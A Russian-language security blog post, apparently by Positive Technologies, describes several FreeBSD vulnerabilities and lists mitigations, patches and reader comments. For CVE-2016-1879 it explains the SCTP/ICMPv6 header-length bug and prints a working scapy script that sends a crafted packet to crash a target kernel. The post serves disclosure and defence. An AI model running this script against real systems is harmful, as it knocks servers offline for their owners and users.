Команда проекта FreeBSD сообщает, что в операционной системе обнаружен ряд критически опасных уязвимостей, позволяющих злоумышленникам проводить атаки, направленные на отказ в обслуживании, повышать привилегии и раскрывать важные данные.
Уязвимость, связанная с некорректной обработкой сообщений ICMPv6 в стеке SCTP (CVE-2016-1879)
SCTP (Stream Control Transmission Protocol — «протокол передачи с управлением потоком») — это протокол транспортного уровня, который разработан для передачи сообщений сигнализации телефонных сетей в IP-среде. В основном данный протокол используется в технологических сетях операторов связи.
Этой уязвимости подвержены версии FreeBSD 9.3, 10.1 и 10.2 в том случае, если они сконфигурированы с поддержкой протоколов SCTP и IPv6 (конфигурация по умолчанию). Для эксплуатации ошибки злоумышленнику требуется отправить специально сформированное сообщение ICMPv6. Успешная эксплуатация позволяет реализовать атаку на отказ в обслуживании (DoS).
DoS возникает из-за недостаточной проверки длины заголовка SCTP-пакета, полученного в ICMPv6-сообщении об ошибке. Когда адресат недоступен, маршрутизатор может сгенерировать сообщение об ошибке и переслать его отправителю через ICMPv6.
В такой ICMPv6-пакет вложен оригинальный IPv6-пакет, в котором поле Next Header указывает на то, как протокол верхнего уровня инкапсулируется. В данном случае это SCTP.
Когда ядро получает по ICMPv6 сообщение об ошибке, оно находит в нем пакет протокола верхнего уровня и передает его соответствующему обработчику (в данном случае sctp6_ctlinput()).
Когда ядро получает по ICMPv6 сообщение об ошибке, оно находит в нем пакет протокола верхнего уровня и передает его соответствующему обработчику (в данном случае sctp6_ctlinput()). Обработчик SCTP предполагает, что входной пакет содержит заголовок достаточной длины, пытается скопировать его с помощью m_copydata(), в которую передаются значения смещения и количество байтов, которое требуется считать. Поскольку ожидается блок данных размером 12 байт, если отправить пакет с SCTP-заголовком меньше 12 байт, то происходит разыменование нулевого указателя, что вызывает критический сбой ядра системы (kernel panic).
Для эксплуатации уязвимости наличие открытого SCTP-сокета необязательно.
Создать ICMPv6-пакет для осуществления атаки можно с помощью scapy. На Хабре немало статей, посвященных этому мощному инструменту (например, эта и эта статьи).
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import argparse
from scapy.all import *
def get_args():
parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78)
parser.add_argument("-m", "--dst_mac", type=str, help="FreeBSD mac address")
parser.add_argument("-i", "--dst_ipv6", type=str, help="FreeBSD IPv6 address")
parser.add_argument("-I", "--iface", type=str, help="Iface")
options = parser.parse_args()
if options.dst_mac is None or options.dst_ipv6 is None:
parser.print_help()
exit()
return options
if __name__ == '__main__':
options = get_args()
sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() / IPv6(nh=132,
src=options.dst_ipv6,
dst='fe80::230:56ff:fea6:648c'),
iface=options.iface)
Видеодемонстрация атаки:
Для того чтобы обезопасить себя от атаки с использованием данной ошибки безопасности, следует сделать следующее:
- отключить IPv6-адресацию, если она не требуется;
- заблокировать трафик ICMPv6 или IPv6 на межсетевом экране;
- отключить поддержку стека SCTP в ядре операционной системы — если он не нужен (потребуется перекомпиляция ядра).
Для устранения уязвимости можно использовать патч от производителя, который вносит дополнительные проверки в обработку ICMPv6-сообщений в SCTP-стек. И нужно будет перекомпилировать ядро.
Это еще не все
Помимо этого, в системе обнаружен еще целый ряд серьезных уязвимостей. Разработчики FreeBSD выпустили несколько патчей, устраняющих эти ошибки:
- Уязвимость, позволяющая осуществить DoS-атаку из-за ошибки, возникающей при обработке соединений TCP с включенными опциями сокета TCP_MD5SIG и TCP_NOOPT. Для успешной эксплуатации злоумышленнику необходимо открыть прослушивающий сокет с включенной опцией TCP_NOOPT. (CVE-2016-1882, патч);
- Уязвимость, позволяющая локальному пользователю повысить привилегии или вызвать отказ в обслуживании: это возможно вследствие ошибки контроля доступа, позволяющей перезаписать случайные участки памяти с помощью специально сформированных системных вызовов слоя совместимости Linux setgroups(2). (CVE-2016-1881, патч);
- Из-за ошибки в списках Linux robust futex хакеры получают возможность раскрывать данные системной памяти (CVE-2016-1880, патч);
- Небезопасные дефолтные настройки безопасности, разрешающие доступ к файлу конфигурации демона bsnmpd “/etc/bsnmpd.conf” (CVE-2015-5677, патч).
Во избежание проблем, связанных с эксплуатацией указанных уязвимостей, эксперты Positive Technologies рекомендуют пользоваться IPv6-адресацией только в том случае, если она требуется для функционирования приложений, своевременно устанавливать обновления безопасности от разработчиков ОС и использовать специализированные инструменты для контроля защищенности системы (например, MaxPatrol) для контроля защищенности системы.
Комментарии (18)
guai
21.01.2016 18:29+4Откуда вы взяли вот это: «SCTP… разработан для передачи сообщений сигнализации телефонных сетей в IP-среде»? Такой же протокол транспортного уровня как TCP и UPD, вернее как нечто среднее, — передача пакетов, а не потока, с гарантированной доставкой. Ничего сугубо для телефонных сетей там нет, насколько я знаю.
WGH
21.01.2016 22:49+3SCTP is designed to transport Public Switched Telephone Network (PSTN) signaling messages over IP networks, but is capable of broader applications.
ximaera
21.01.2016 18:48+8Для того, чтобы обезопасить себя от атаки с использованием данной ошибки безопасности, следует осуществить следующие действия:
— Отключить IPv6-адресацию в случае если она не требуется;
— Заблокировать трафик ICMPv6 или IPv6 на межсетевом экране;
Во избежание проблем, связанных с эксплуатацией указанных уязвимостей, эксперты Positive Technologies рекомендуют пользоваться IPv6-адресацией только в том случае, если она требуется для функционирования приложений.
Трололо-пост недели. Вы сейчас джек-пот сорвёте :-)ValdikSS
24.01.2016 22:08+3Заблокировать трафик ICMPv6
И у нас моментально ломается весь IPv6, т.к. на ICMPv6 возложено гораздо больше функций, нежели на ICMPv4.ximaera
24.01.2016 22:14А то ICMPv4 можно блокировать безболезненно, что ли? В
iptables-extensions(8)
про таких сисадминов даже специально написаны ругательные слова:TCPMSS
This target is used to overcome criminally braindead ISPs or servers which block «ICMP Fragmentation Needed» or «ICMPv6 Packet Too Big» packets.ValdikSS
24.01.2016 22:18+1Блокируя ICMPv4, мы, в целом, получим только сломанный Path MTU Discovery, а заблокировав ICMPv6, мы лишимся Router/Neighbor Solicitation/Advertisement, что равносильно блокировке ARP в IPv4.
occam
21.01.2016 19:49-2Парни, FB был выпилен из всех продуктивов еще года три назад, и не только у нашего клиента, и не без вашего участия. Вы бы рассказали лучше о своих суперновых products, чем в очередной раз давить на больную мозоль.
simpleadmin
21.01.2016 20:36+6Для того, чтобы обезопасить себя от атаки с использованием данной ошибки безопасности, следует осуществить следующие действия:
Отключить IPv6-адресацию…
Да вы страшные люди…
V. Solution
Perform one of the following:
1) Upgrade your vulnerable system to a supported FreeBSD stable or
release / security branch (releng) dated after the correction date.
Rebooting to the new kernel is required.
2) To update your vulnerable system via a binary patch:
Systems running a RELEASE version of FreeBSD on the i386 or amd64
platforms can be updated via the freebsd-update(8) utility:
# freebsd-update fetch # freebsd-update install
Rebooting to the new kernel is required.
3) To update your vulnerable system via a source code patch:
The following patches have been verified to apply to the applicable
FreeBSD release branches.
a) Download the relevant patch from the location below, and verify the
detached PGP signature using your PGP utility.
# fetch https://security.FreeBSD.org/patches/SA-16:01/sctp.patch # fetch https://security.FreeBSD.org/patches/SA-16:01/sctp.patch.asc # gpg --verify sctp.patch.asc
b) Apply the patch. Execute the following commands as root:
# cd /usr/src # patch < /path/to/patch
c) Recompile your kernel as described in
<URL:https://www.FreeBSD.org/handbook/kernelconfig.html> and reboot the
system.
antivoland
22.01.2016 10:45Первое что делает админ фрибсд после установки — это пересборка ядра (как минимум, как максимум пересборка системы) с убраными опциями, что не планируются для использования. Это даже рекомендуется для ускорения работы системы. Кто оставляет ядро по умолчанию — сам виноват (это небольшой кирпич в сторону дистрибьютивов линукса).
Zolg
22.01.2016 11:17+2И заметно работа ускоряется?
antivoland
22.01.2016 11:41-2Да, заметно особенно на слабом железе. Помимо этого добавляются нужные опции(к примеру PF и ALTQ).
Zolg
22.01.2016 12:13Подскажите, что стоит отключить в generic'е, чтобы на измеримую величину поднять производительность типичного вебсервера?
А добавление нужных опций к отключению ненужных относится весьма опосредственно. PF, кстати, давно в ядре из коробки, а ALTQ на большинстве серверов как бы и ни к чему.antivoland
22.01.2016 13:48К сожалению подсказать не смогу, веб-серверы у нас на centos. Но шлюз к этим серверам как раз на фрибсд и он прекрасно контролирует все обращения в обе стороны.
ALTQ на офисном шлюзе применяется — резать особо наглых пользователей. PF в ядре с коробки вкомпилен или модулем, как в старые добрые времена?Zolg
22.01.2016 15:51Полезность ALTQ на шлюзе никто не оспаривает. Равно как и необходимости пересобирать ядро для его включения. ALTQ затрагивает много чего в ядре, поэтому просто собрать его отдельным модулем не получится.
И таких вещей на практике не так много встречается и в достаточно специфичных случаях: навскидку кроме ALTQ это VNET/VIMAGE
В большинстве остальных случаев «пересборка ядра с убраными опциями, что не планируются для использования» — та самая premature optimization которая the root of all evil. Даже на самом слабом железе память давно не считается единицами мегабайт.
ps:
pf в generic естественно в виде модуля. это плохо, да?
Zolg
Ну вот, только успел порадоваться, что наши сервера не на линуксе :):
rauch
Удивляет, что не «решето» первым комментарием… как же так?